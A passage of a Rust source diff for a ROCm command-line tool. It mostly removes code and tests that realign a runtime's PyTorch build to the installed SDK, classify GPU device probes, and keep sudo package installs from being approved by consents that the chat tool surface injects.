other -/// interpolated value. -/// -/// `before` is the verdict the runtime gave *prior* to the realignment. Only the -/// realigned outcome replaced anything, so only that arm prints it — and it must, -/// because the `device_check:` block further down reports the runtime as it is -/// now. Without the before verdict beside it, a realignment that ends in a -/// failing runtime does not say whether the alignment broke something that -/// worked or found something already broken, and answering that afterwards means -/// going to the machine to look. The value is already in hand at the call site; -/// dropping it only moves the cost onto whoever reads the output. -fn render_torch_alignment( - outcome: &TorchAlignment, - engine: &str, - before: Option<&RuntimeDeviceCheck>, -) -> String { - let mut output = String::new(); - match outcome { - TorchAlignment::AlreadyAligned { version } => { - let _ = writeln!( - output, - " torch_alignment: already_aligned ({})", - sanitize_log_value(version) - ); - } - TorchAlignment::Realigned { from, to } => { - let _ = writeln!(output, " torch_alignment: realigned"); - let _ = writeln!( - output, - " {} -> {} (the SDK's build of the release {} pins)", - sanitize_log_value(from), - sanitize_log_value(to), - sanitize_log_value(engine) - ); - if let Some(before) = before { - let _ = writeln!( - output, - " before this replacement: {} (device_check below is after it)", - sanitize_log_value(&device_check_verdict(before)) - ); - } - } - TorchAlignment::Unavailable { wanted, kept } => { - let _ = writeln!(output, " torch_alignment: unavailable"); - let _ = writeln!( - output, - " the SDK index publishes no {}; keeping {}", - sanitize_log_value(wanted), - sanitize_log_value(kept) - ); - } - TorchAlignment::InstallFailed { - wanted, - kept, - error, - } => { - let _ = writeln!(output, " torch_alignment: install_failed"); - let _ = writeln!( - output, - " could not install {}: {}", - sanitize_log_value(wanted), - sanitize_log_value(error) - ); - let _ = writeln!(output, " keeping {}", sanitize_log_value(kept)); - } - TorchAlignment::Disabled { wanted, kept } => { - let _ = writeln!(output, " torch_alignment: disabled"); - let _ = writeln!( - output, - " ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping {} rather than installing {}", - sanitize_log_value(kept), - sanitize_log_value(wanted) - ); - } - TorchAlignment::NotApplicable(reason) => { - let _ = writeln!( - output, - " torch_alignment: not_applicable ({})", - sanitize_log_value(reason) - ); - } - } - output -} - -/// Repair the runtime's torch, print the `torch_alignment:` block, and record it. -/// -/// Reached only when no torch in the runtime has proven it can run a GPU kernel. -/// The outcome is returned so the dependency check that follows can be read -/// against it: `deliberately_diverged_package` turns it into the one package -/// whose divergence is intended. -fn report_torch_alignment( - paths: &AppPaths, - engine: &str, - python: &Path, - runtime_key: &str, - sdk_build: Option<&str>, - torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, - before: &RuntimeDeviceCheck, -) -> TorchAlignment { - let index_url = runtime_index_url_for_key(paths, runtime_key); - let outcome = align_runtime_torch( - paths, - python, - index_url.as_deref(), - sdk_build, - engine, - torch, - ); - print!("{}", render_torch_alignment(&outcome, engine, Some(before))); - let (level, message) = match &outcome { - TorchAlignment::AlreadyAligned { version } => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=already_aligned version={version}" - ), - ), - // The before verdict rides along in the audit line too: the log is read - // long after the install, when the runtime on disk can no longer answer - // what it was like beforehand. - TorchAlignment::Realigned { from, to } => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=realigned from={from} to={to} before={}", - device_check_verdict(before) - ), - ), - TorchAlignment::Unavailable { wanted, kept } => ( - "error", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=unavailable wanted={wanted} kept={kept}" - ), - ), - TorchAlignment::InstallFailed { - wanted, - kept, - error, - } => ( - "error", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=install_failed wanted={wanted} kept={kept}: {error}" - ), - ), - // The user's own decision, carried out as asked, so it is not an error. - // The device check that follows is what says whether the torch they kept - // works, and that verdict is recorded — and enforced — on its own. - TorchAlignment::Disabled { wanted, kept } => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=disabled kept={kept} wanted={wanted}" - ), - ), - TorchAlignment::NotApplicable(reason) => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=not_applicable: {reason}" - ), - ), - }; - record_cli_audit_event(paths, "engine", "torch_alignment", level, message, None); - outcome -} - -/// The package the runtime now deliberately diverges on, if any, so the -/// dependency check can tell that divergence apart from a real violation. -/// -/// Both `Realigned` and `AlreadyAligned` diverge from the engine's exact pin — -/// the second is a rerun over a runtime already put right, which is the normal -/// state on every refresh after the first. -/// -/// `Disabled` counts for the same reason, from the other direction: the torch -/// that does not satisfy the pin is the one the user told us to leave alone, so -/// reporting it as a violation would answer their instruction with an error and -/// a `--reinstall` remedy that would undo it. It is only ever constructed over a -/// real mismatch, so this never suppresses a divergence that is not there. -/// -/// `Unavailable` and `InstallFailed` stay excluded. Nothing was replaced there -/// either, but nothing was intended either — the repair was attempted and did -/// not happen — so whatever the dependency check finds is a real finding. -const fn deliberately_diverged_package(outcome: &TorchAlignment) -> Option<&'static str> { - match outcome { - TorchAlignment::Realigned { .. } - | TorchAlignment::AlreadyAligned { .. } - | TorchAlignment::Disabled { .. } => Some("torch"), - TorchAlignment::Unavailable { .. } - | TorchAlignment::InstallFailed { .. } - | TorchAlignment::NotApplicable(_) => None, - } -} - -/// Whether the installed runtime can actually run work on a GPU. -/// -/// The dependency check answers whether the engine's declared requirements are -/// satisfied. That is a question about metadata, and it is not the same question -/// as whether the environment works. Two distinct answers matter here, because a -/// torch can fail at either step: one built against a different ROCm version than -/// the installed SDK loads cleanly and then reports no devices, which vLLM turns -/// into `Failed to infer device type` at first serve; one built without a kernel -/// image for this target reports a device and then dies on the first tensor -/// operation. Only a torch that gets past both has been shown to work. -#[derive(Debug, Clone, PartialEq, Eq)] -enum RuntimeDeviceCheck { - /// torch imported and reported at least one device. - Usable { - device_count: u32, - torch_version: String, - }, - /// torch imported but reported no devices — a torch built for another SDK. - NoDevices { - torch_version: String, - hip_version: String, - }, - /// torch found a device and then could not execute a kernel on it. - /// - /// Distinct from `NoDevices` because the remedy is different: the runtime is - /// not looking at the wrong SDK, it is holding a build with no code for this - /// GPU. - KernelFailed { - torch_version: String, - error: String, - }, - /// The question could not be answered — including when torch does not import. - /// - /// Never a reason to assume healthy, but on its own never fatal either: see - /// `install_left_runtime_unusable`, which acts only on the verdicts where the - /// runtime was asked and answered badly. This variant covers benign causes as - /// well as real ones — a runtime whose Python could not be located, or a probe - /// that could not launch — and failing a multi-gigabyte install because a - /// probe did not run is worse than reporting what was and was not seen. The - /// cost is that a runtime whose torch is present but unimportable is reported - /// rather than failed. - NotVerified(String), -} - -fn runtime_device_check(python: Option<&Path>, library_paths: &[PathBuf]) -> RuntimeDeviceCheck { - let Some(python) = python else { - return RuntimeDeviceCheck::NotVerified( - "the runtime's Python environment could not be located".to_owned(), - ); - }; - match therock::probe_runtime_devices(python, library_paths) { - Ok(probe) => classify_runtime_device_probe(probe), - Err(error) => RuntimeDeviceCheck::NotVerified(error.to_string()), - } -} - -/// Read one probe as a verdict, kept free of I/O so every state can be tested. -fn classify_runtime_device_probe(probe: therock::RuntimeDeviceProbe) -> RuntimeDeviceCheck { - if !probe.import_ok { - return RuntimeDeviceCheck::NotVerified( - probe - .error - .unwrap_or_else(|| "torch did not import".to_owned()), - ); - } - let torch_version = probe.torch_version.unwrap_or_else(|| "unknown".to_owned()); - // A kernel that would not launch is definitive, so it is read before the - // count and never dropped: the probe only reaches that step after it has - // already enumerated a device, and the count alone would read as healthy. - if let Some(error) = probe.kernel_error { - return RuntimeDeviceCheck::KernelFailed { - torch_version, - error, - }; - } - match probe.device_count { - Some(0) => RuntimeDeviceCheck::NoDevices { - torch_version, - hip_version: probe.hip_version.unwrap_or_else(|| "unknown".to_owned()), - }, - Some(device_count) => RuntimeDeviceCheck::Usable { - device_count, - torch_version, - }, - // A `device_count()` that raises — HIP init failures are the live example — - // reports no count and puts the real exception in `error`. That exception is - // precisely the diagnostic this probe exists to capture, so prefer it over - // the generic line, which is only right when the probe returned nothing at - // all to explain itself. - None => RuntimeDeviceCheck::NotVerified( - probe - .error - .unwrap_or_else(|| "torch imported but did not report a device count".to_owned()), - ), - } -} - -/// One device-check verdict on one line, for quoting inside another block. -/// -/// The full block explains the verdict and names a consequence, which is right -/// where it is the answer and wrong where it is context for something else. This -/// keeps the part that identifies the verdict — the name and the torch it was -/// asked about — so a before/after pair reads as a pair rather than as two -/// competing diagnoses. -fn device_check_verdict(outcome: &RuntimeDeviceCheck) -> String { - match outcome { - RuntimeDeviceCheck::Usable { - device_count, - torch_version, - } => format!("usable ({device_count} device(s), torch {torch_version})"), - RuntimeDeviceCheck::NoDevices { torch_version, .. } => { - format!("no_devices (torch {torch_version})") - } - RuntimeDeviceCheck::KernelFailed { torch_version, .. } => { - format!("kernel_failed (torch {torch_version})") - } - RuntimeDeviceCheck::NotVerified(reason) => format!("not_verified ({reason})"), + RuntimeDeviceCheck::NotVerified(reason) => format!("not_verified ({reason})"), } } @@ -1358,171 +527,6 @@ fn report_runtime_device_check( outcome } -/// The build identifier of the torch that belongs to this runtime's SDK. -/// -/// Taken from the manifest, never from whatever torch happens to be installed. -/// The environment tells you what is there now, which after an engine install is -/// the engine's build — trusting that would let a runtime already holding the -/// wrong torch declare itself correct and never recover. -/// -/// Older manifests predate the recorded value, so fall back to deriving it from -/// the SDK version, which is how TheRock names these builds. -fn sdk_torch_build_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - sdk_torch_build_from_manifest(manifest) -} - -/// The build identifier one manifest names, with the fallback for older manifests. -/// -/// Split out from the lookup so the decision can be tested without a registry on -/// disk: the lookup is a directory scan, but this is the part that has to be right -/// for a runtime already stuck on the engine's build to recover. -fn sdk_torch_build_from_manifest(manifest: &therock::InstalledRuntimeManifest) -> Option { - if let Some(recorded) = manifest.sdk_torch.as_deref() - && let Some(build) = therock::split_local_version(recorded).1 - { - return Some(build.to_owned()); - } - let version = manifest - .rocm_sdk - .as_ref() - .and_then(|probe| probe.rocm_sdk_version.clone()) - .unwrap_or_else(|| manifest.version.clone()); - (!version.trim().is_empty()).then(|| format!("rocm{version}")) -} - -/// Which torch a runtime keeps once one of them has run a GPU kernel. -/// -/// Exactly two builds are allowed to stand: the engine's own exact pin, and the -/// SDK's build of the release it pins. Both are states this tool produces on -/// purpose, and each is a fixed point — a rerun over either one keeps it and -/// installs nothing, which is what stops `--reinstall` from oscillating between -/// the two package sources. Anything else is repaired by `TorchAlignment`. -#[derive(Debug, Clone, PartialEq, Eq)] -enum TorchRetention { - /// The engine's exact pin ran a kernel. It satisfies the pin, so it diverges - /// from nothing and the dependency check is read straight. - EngineBuild { version: String }, - /// The SDK's build of the pinned release ran. The engine's pin stays - /// deliberately unsatisfied, which the dependency check is told to expect. - SdkBuild { version: String }, - /// Nothing here has been shown to work: align, then look again. - Realign, -} - -/// Decide retention from the torch that actually executed a kernel. -/// -/// The version compared is the one the running interpreter reported, not the one -/// distribution metadata claims: the build that ran is the build being kept. The -/// engine's pin is checked first, so a pin that already names the SDK's build is -/// reported as satisfied rather than as an intended divergence from itself. -fn classify_retained_torch( - sdk_build: Option<&str>, - devices: &RuntimeDeviceCheck, - engine_requirement: Option<&str>, -) -> TorchRetention { - // Only a kernel that ran earns retention. Every other verdict — no devices, - // a failed launch, or no answer at all — goes to the repair path, which is - // also what this tool did before it could tell those apart. - let RuntimeDeviceCheck::Usable { torch_version, .. } = devices else { - return TorchRetention::Realign; - }; - let Some(pinned) = engine_requirement.and_then(therock::requirement_pinned_version) else { - return TorchRetention::Realign; - }; - if torch_version.as_str() == pinned { - return TorchRetention::EngineBuild { - version: torch_version.clone(), - }; - } - let Some(sdk_build) = sdk_build else { - return TorchRetention::Realign; - }; - // The same version `plan_torch_alignment` would install, so the state that - // repair produces is the state recognised here on the next run. - let sdk_torch = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); - if torch_version.as_str() == sdk_torch { - return TorchRetention::SdkBuild { - version: torch_version.clone(), - }; - } - TorchRetention::Realign -} - -/// The package a retained torch deliberately diverges on, if any. -/// -/// The SDK's build does not satisfy the engine's exact pin and is kept anyway; -/// the engine's own build satisfies it, so claiming a divergence there would -/// suppress a violation that has not happened. -const fn retained_diverged_package(retention: &TorchRetention) -> Option<&'static str> { - match retention { - TorchRetention::SdkBuild { .. } => Some("torch"), - TorchRetention::EngineBuild { .. } | TorchRetention::Realign => None, - } -} - -/// Render a retention as the `torch_alignment:` block, in place of an alignment. -/// -/// `Realign` renders nothing: nothing was retained, and `render_torch_alignment` -/// prints the block for the repair that runs instead. -fn render_torch_retention(retention: &TorchRetention, engine: &str) -> String { - let mut output = String::new(); - match retention { - TorchRetention::EngineBuild { version } => { - let _ = writeln!( - output, - " torch_alignment: retained_engine_build ({})", - sanitize_log_value(version) - ); - let _ = writeln!( - output, - " the torch {} pins ran a GPU kernel with this SDK", - sanitize_log_value(engine) - ); - } - TorchRetention::SdkBuild { version } => { - let _ = writeln!( - output, - " torch_alignment: retained_sdk_build ({})", - sanitize_log_value(version) - ); - let _ = writeln!( - output, - " the SDK's build of the release {} pins ran a GPU kernel", - sanitize_log_value(engine) - ); - } - TorchRetention::Realign => {} - } - output -} - -/// Print the retention block and record it. `Realign` records nothing. -fn report_torch_retention( - paths: &AppPaths, - engine: &str, - runtime_key: &str, - retention: &TorchRetention, -) { - print!("{}", render_torch_retention(retention, engine)); - let (state, version) = match retention { - TorchRetention::EngineBuild { version } => ("retained_engine_build", version), - TorchRetention::SdkBuild { version } => ("retained_sdk_build", version), - TorchRetention::Realign => return, - }; - record_cli_audit_event( - paths, - "engine", - "torch_alignment", - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment={state} version={version}" - ), - None, - ); -} - /// Whether this host has a GPU at all, answered by inspecting the host itself. /// /// Deliberately independent of the runtime under test: the runtime reporting no @@ -1974,14 +978,13 @@ pub(crate) mod tests { use super::*; use crate::test_support::write_test_pip_runtime; use crate::tests::{ - NEW_RUNTIME_KEY, OLD_RUNTIME_KEY, ScopedTestEnv, plant_service_record_on_runtime, - test_app_paths, test_paths, test_runtime_manifest_for_update, + NEW_RUNTIME_KEY, OLD_RUNTIME_KEY, plant_service_record_on_runtime, test_paths, }; + use anyhow::Context as _; use clap::Parser as _; use rocm_core::load_recent_audit_events; - use crate::chat::rocm_chat_tool_requested_args; - use crate::{Cli, Command, InstallTarget, providers}; + use crate::{Cli, Command, InstallTarget}; /// Resolve the argv a non-interactive surface produces the way `install()` /// does, so a test can assert what that argv actually consents to rather @@ -2006,74 +1009,6 @@ pub(crate) mod tests { SdkInstallConsents::resolve(yes, approve_replacing_active_default) } - #[test] - fn an_injected_consent_does_not_approve_privileged_package_installs() { - // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI - // absent, and neither root nor passwordless sudo. The chat, MCP and - // daemon surfaces spawn `rocm` with null stdin, so there is no terminal - // on which a `sudo` password prompt could ever be answered. Injecting - // `--yes` to clear the runtime-replacement prompt used to grant the - // second, unrelated consent that flag carries, which made - // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then - // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` - // before the vLLM engine install that previously warned and continued. - let call = providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), - }; - let injected = consents_for_install_sdk_argv( - &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), - ); - assert_eq!( - injected.replace_active_default, - therock::SdkInstallConsent::Preapproved( - therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault - ) - ); - assert!( - !injected.system_packages, - "an injected consent must not approve a privileged package install" - ); - assert_eq!( - system_package_install_action(injected.system_packages, false), - SystemPackageInstallAction::PrintManualCommands, - "on a host without passwordless sudo the spawn must print the commands, not run sudo" - ); - - // And the other half of the property: a `--yes` the user actually typed - // still approves both, and a failure of the install it asked for is - // still an error rather than a warning. - let typed = consents_for_install_sdk_argv(&[ - "install".to_owned(), - "sdk".to_owned(), - "--yes".to_owned(), - ]); - assert_eq!( - typed.replace_active_default, - therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), - "a --yes the user typed must still be credited to --yes" - ); - assert!(typed.system_packages); - assert_eq!( - system_package_install_action(typed.system_packages, false), - SystemPackageInstallAction::RunPlan { - approval: "granted by --yes", - escalate_failure: true, - }, - ); - - // Root or passwordless sudo installs without any approval, as before — - // the consent split must not have made the automatic path conditional. - assert_eq!( - system_package_install_action(injected.system_packages, true), - SystemPackageInstallAction::RunPlan { - approval: "auto (root or passwordless sudo available)", - escalate_failure: false, - }, - ); - } - #[test] fn sdk_install_auto_engine_selection_prefers_vllm_for_supported_families() { // vLLM is unsupported on native Windows, so the SDK family preference is gated @@ -2084,93 +1019,6 @@ pub(crate) mod tests { assert_eq!(preferred_engine_for_sdk_family("gfx120X-all"), None); } - /// The real candidate path/text `real_os_release_ignores_a_simulated_host_root` - /// expects, read independently rather than by calling - /// `hardware_root::read_os_release` a second time. `Absent` and - /// `Unreadable` are not interchangeable: a non-`NotFound` error must - /// always report `Unreadable`, never silently fall through to `Absent`. - #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] - enum ExpectedOsRelease { - Found(&'static str, String), - Absent, - Unreadable(&'static str), - } - - /// The package-manager plans run against the real machine, so a simulated - /// host root must not change the distro they are built for: under a root - /// whose `/etc/os-release` names a different distro, `real_os_release` - /// still returns the real file. - #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] - #[test] - fn real_os_release_ignores_a_simulated_host_root() { - let root = std::env::temp_dir().join(format!( - "rocm-os-release-host-root-{}-{}", - std::process::id(), - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map_or(0, |d| d.as_nanos()) - )); - fs::create_dir_all(root.join("etc")).expect("create planted /etc"); - fs::write( - root.join("etc/os-release"), - "ID=planted-distro\nVERSION_ID=\"99.9\"\n", - ) - .expect("write planted os-release"); - - let read = { - let mut env = ScopedTestEnv::new(); - env.set( - rocm_core::hardware_root::TEST_HOST_ROOT_ENV, - &root.to_string_lossy(), - ); - real_os_release() - }; - fs::remove_dir_all(&root).ok(); - - assert!( - !read.text().contains("planted-distro"), - "read the simulated root's os-release: {:?}", - read.text() - ); - // Independent of `hardware_root::read_os_release`: rather than call - // the exact same helper with the same identity resolver `real_os_release` - // wraps one line away (which would pass even if its `.context(...)` - // call or resolver closure broke), read both candidate paths directly - // and apply the same existence-only fallback rule inline. This mirrors - // which variant is correct for each case, rather than accepting - // `Absent` or `Unreadable` interchangeably — see `ExpectedOsRelease`'s - // own doc comment for why that distinction matters. - let expected = match fs::read_to_string("/etc/os-release") { - Ok(text) => ExpectedOsRelease::Found("/etc/os-release", text), - Err(e) if e.kind() == std::io::ErrorKind::NotFound => { - match fs::read_to_string("/usr/lib/os-release") { - Ok(text) => ExpectedOsRelease::Found("/usr/lib/os-release", text), - Err(e2) if e2.kind() == std::io::ErrorKind::NotFound => { - ExpectedOsRelease::Absent - } - Err(_) => ExpectedOsRelease::Unreadable("/usr/lib/os-release"), - } - } - Err(_) => ExpectedOsRelease::Unreadable("/etc/os-release"), - }; - match expected { - ExpectedOsRelease::Found(path, text) => { - assert_eq!((read.path(), read.text()), (path, text.as_str())); - } - ExpectedOsRelease::Absent => assert!( - matches!(&read, rocm_core::hardware_root::OsRelease::Absent), - "expected Absent, got {read:?}" - ), - ExpectedOsRelease::Unreadable(path) => assert!( - matches!( - &read, - rocm_core::hardware_root::OsRelease::Unreadable { path: p, .. } if *p == path - ), - "expected Unreadable at {path}, got {read:?}" - ), - } - } - // The install report is only as honest as the reconciliation that reaches // it: a server still on the runtime the install just replaced has to survive // `finalize_successful_sdk_install` into the finalization the report renders. @@ -2318,72 +1166,20 @@ pub(crate) mod tests { assert!(rendered.contains(" divergence: The package `vllm` requires `torch")); assert!( !rendered.contains("action: rocm engines install vllm --reinstall"), - "the reinstall would undo the alignment while repairing numpy: {rendered}" - ); - } - - #[test] - fn a_line_whose_subject_cannot_be_parsed_stays_a_violation() { - // Conservative by construction: an unrecognised shape is not evidence that - // the divergence was intended, so it must not be quietly excused. - let outcome = classify_dependency_details( - vec!["something uv said that this parser does not recognise".to_owned()], - Some("torch"), - ); - - assert!(matches!(outcome, EngineDependencyCheck::Violated { .. })); - } - - /// The engine's build enumerates no devices against the installed SDK. - /// - /// Observed on MI300X: the engine pins a torch built for a different ROCm - /// version, installs it over the SDK's, and the runtime then reports zero - /// devices. The release is right; only the build is wrong. - #[test] - fn the_engines_build_is_replaced_by_the_sdk_build_of_the_same_release() { - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+gitd0c8b1f"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert_eq!( - plan, - TorchAlignmentPlan::Install { - wanted: "2.11.0+rocm7.13.0".to_owned(), - from: "2.11.0+gitd0c8b1f".to_owned(), - } + "the reinstall would undo the alignment while repairing numpy: {rendered}" ); } - /// The SDK picked a torch *release* the engine does not accept. - /// - /// The mirror-image failure: here the SDK's own choice is the wrong one, and - /// simply keeping it would break the engine. The rule takes the release the - /// engine pins while still keeping the SDK's build of it — so neither the - /// engine's build nor the SDK's release selection wins outright. #[test] - fn the_sdks_release_is_corrected_to_the_one_the_engine_pins() { - // The installed torch already carries the SDK's build, so the build is not - // what is wrong here — the release is. Pinning it needs the two sides to - // disagree on the release and agree on the build, which is the opposite of - // the case above; identical arguments to it would only restate that one. - let plan = plan_torch_alignment( - Some("rocm7.14.0a20260611"), - Some("2.11.0+rocm7.14.0a20260611"), - Some("torch==2.10.0+git8514f05"), - "vllm", + fn a_line_whose_subject_cannot_be_parsed_stays_a_violation() { + // Conservative by construction: an unrecognised shape is not evidence that + // the divergence was intended, so it must not be quietly excused. + let outcome = classify_dependency_details( + vec!["something uv said that this parser does not recognise".to_owned()], + Some("torch"), ); - assert_eq!( - plan, - TorchAlignmentPlan::Install { - wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), - from: "2.11.0+rocm7.14.0a20260611".to_owned(), - }, - "the engine's release must win while the SDK's build is kept" - ); + assert!(matches!(outcome, EngineDependencyCheck::Violated { .. })); } #[test] @@ -2514,179 +1310,6 @@ pub(crate) mod tests { assert!(rendered.contains("no kernel image for this GPU")); } - /// The engine's own pin runs: keep it, and claim no divergence from it. - #[test] - fn a_working_engine_torch_is_kept_instead_of_realigned() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert_eq!( - retention, - TorchRetention::EngineBuild { - version: "2.11.0+gitd0c8b1f".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), None); - let rendered = render_torch_retention(&retention, "vllm"); - assert!( - rendered.contains(" torch_alignment: retained_engine_build (2.11.0+gitd0c8b1f)\n") - ); - assert!(rendered.contains("ran a GPU kernel with this SDK")); - } - - /// The SDK's build of the pinned release runs: keep it, and expect the pin to - /// stay unsatisfied so the dependency check does not report it as a violation. - #[test] - fn a_working_sdk_torch_is_kept_as_an_intended_divergence() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 8, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert_eq!( - retention, - TorchRetention::SdkBuild { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), Some("torch")); - let rendered = render_torch_retention(&retention, "vllm"); - assert!(rendered.contains(" torch_alignment: retained_sdk_build (2.11.0+rocm7.13.0)\n")); - assert!(rendered.contains("the SDK's build of the release vllm pins ran a GPU kernel")); - } - - /// Both intended builds are fixed points, so a repeated install settles rather - /// than swapping torch back and forth between the two package sources. - #[test] - fn repairing_a_runtime_converges_on_one_of_the_two_intended_builds() { - let after_engine_install = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - // What the realignment installs, seen on the next run over the same runtime. - let after_realignment = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert!(!matches!(after_engine_install, TorchRetention::Realign)); - assert!(!matches!(after_realignment, TorchRetention::Realign)); - } - - /// A pin that already names the SDK's build satisfies itself. Calling that an - /// intended divergence would suppress a violation that has not happened. - #[test] - fn a_pin_that_already_names_the_sdk_build_diverges_from_nothing() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+rocm7.13.0"), - ); - - assert_eq!( - retention, - TorchRetention::EngineBuild { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), None); - } - - /// Everything that has not been shown to work goes to the repair path — which - /// is what this tool did unconditionally before it could test a kernel. - #[test] - fn a_torch_that_has_not_been_shown_to_work_is_realigned() { - let usable = |version: &str| RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: version.to_owned(), - }; - let pin = Some("torch==2.11.0+gitd0c8b1f"); - - // A third build nobody here installed on purpose. - assert_eq!( - classify_retained_torch(Some("rocm7.13.0"), &usable("2.9.0+cpu"), pin), - TorchRetention::Realign - ); - // No devices at all, whatever build it is. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::NoDevices { - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - hip_version: "7.13.0".to_owned(), - }, - pin - ), - TorchRetention::Realign - ); - // A device that cannot run a kernel is never retained, not even when it - // holds exactly the build the engine pins. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::KernelFailed { - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - error: "device kernel image is invalid".to_owned(), - }, - pin - ), - TorchRetention::Realign - ); - // No answer is not an answer. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::NotVerified("torch did not import".to_owned()), - pin - ), - TorchRetention::Realign - ); - // Nothing pins torch, so there is no release to hold either build of. - assert_eq!( - classify_retained_torch(Some("rocm7.13.0"), &usable("2.11.0+gitd0c8b1f"), None), - TorchRetention::Realign - ); - // A range is not an exact pin, so it cannot identify the engine's build. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &usable("2.11.0+gitd0c8b1f"), - Some("torch>=2.10") - ), - TorchRetention::Realign - ); - // The manifest does not say what the SDK's build is, so a torch that is - // not the engine's pin cannot be recognised as the other intended one. - assert_eq!( - classify_retained_torch(None, &usable("2.11.0+rocm7.13.0"), pin), - TorchRetention::Realign - ); - // Nothing is retained, so nothing is reported in place of the repair. - assert!(render_torch_retention(&TorchRetention::Realign, "vllm").is_empty()); - assert_eq!(retained_diverged_package(&TorchRetention::Realign), None); - } - fn sdk_install_finalization() -> SdkInstallFinalization { SdkInstallFinalization { runtime_key: "wheel-gfx942-7.13.0".to_owned(), @@ -2797,153 +1420,6 @@ pub(crate) mod tests { ))); } - #[test] - fn an_install_failure_is_not_reported_as_a_missing_wheel() { - // Saying "the index publishes no such build" over a network or disk error - // sends the reader hunting for a wheel that exists. Anything the resolver - // did not actually attribute to a missing version degrades to the honest - // answer: the failure, verbatim. - assert!(!install_error_reports_version_unavailable( - "failed to launch uv: Permission denied" - )); - assert!(!install_error_reports_version_unavailable( - "error sending request: dns error: failed to lookup address" - )); - assert!(install_error_reports_version_unavailable( - "No solution found when resolving: torch==2.10.0+rocm7.14.0a20260611" - )); - } - - #[test] - fn an_unresolvable_version_still_reads_as_unavailable() { - let rendered = render_torch_alignment( - &TorchAlignment::Unavailable { - wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), - kept: "2.10.0+git8514f05".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: unavailable\n")); - assert!(rendered.contains("publishes no 2.10.0+rocm7.14.0a20260611")); - } - - #[test] - fn a_failed_realignment_reports_the_error_it_actually_hit() { - let rendered = render_torch_alignment( - &TorchAlignment::InstallFailed { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.11.0+gitd0c8b1f".to_owned(), - error: "failed to launch uv: Permission denied".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: install_failed\n")); - assert!(rendered.contains("Permission denied")); - assert!( - !rendered.contains("publishes no"), - "an install failure must not be described as a missing wheel: {rendered}" - ); - } - - #[test] - fn a_realigned_runtime_names_both_builds_and_the_engine_that_decided_the_release() { - // The line a successful run actually prints, and the one a user reads when - // deciding whether the divergence reported just below it is expected. - let rendered = render_torch_alignment( - &TorchAlignment::Realigned { - from: "2.11.0+gitd0c8b1f".to_owned(), - to: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: realigned\n")); - assert!(rendered.contains("2.11.0+gitd0c8b1f -> 2.11.0+rocm7.13.0")); - assert!( - rendered.contains("the release vllm pins"), - "the engine that pinned the release is named rather than left anonymous: {rendered}" - ); - } - - #[test] - fn a_realignment_reports_what_the_runtime_could_do_before_it() { - // The whole point of the line: the device_check printed afterwards is the - // after state, so without this one a realignment that ends badly does not - // say whether it broke a working runtime or repaired a broken one. Here it - // repaired one, and the output says so without anyone visiting the machine. - let rendered = render_torch_alignment( - &TorchAlignment::Realigned { - from: 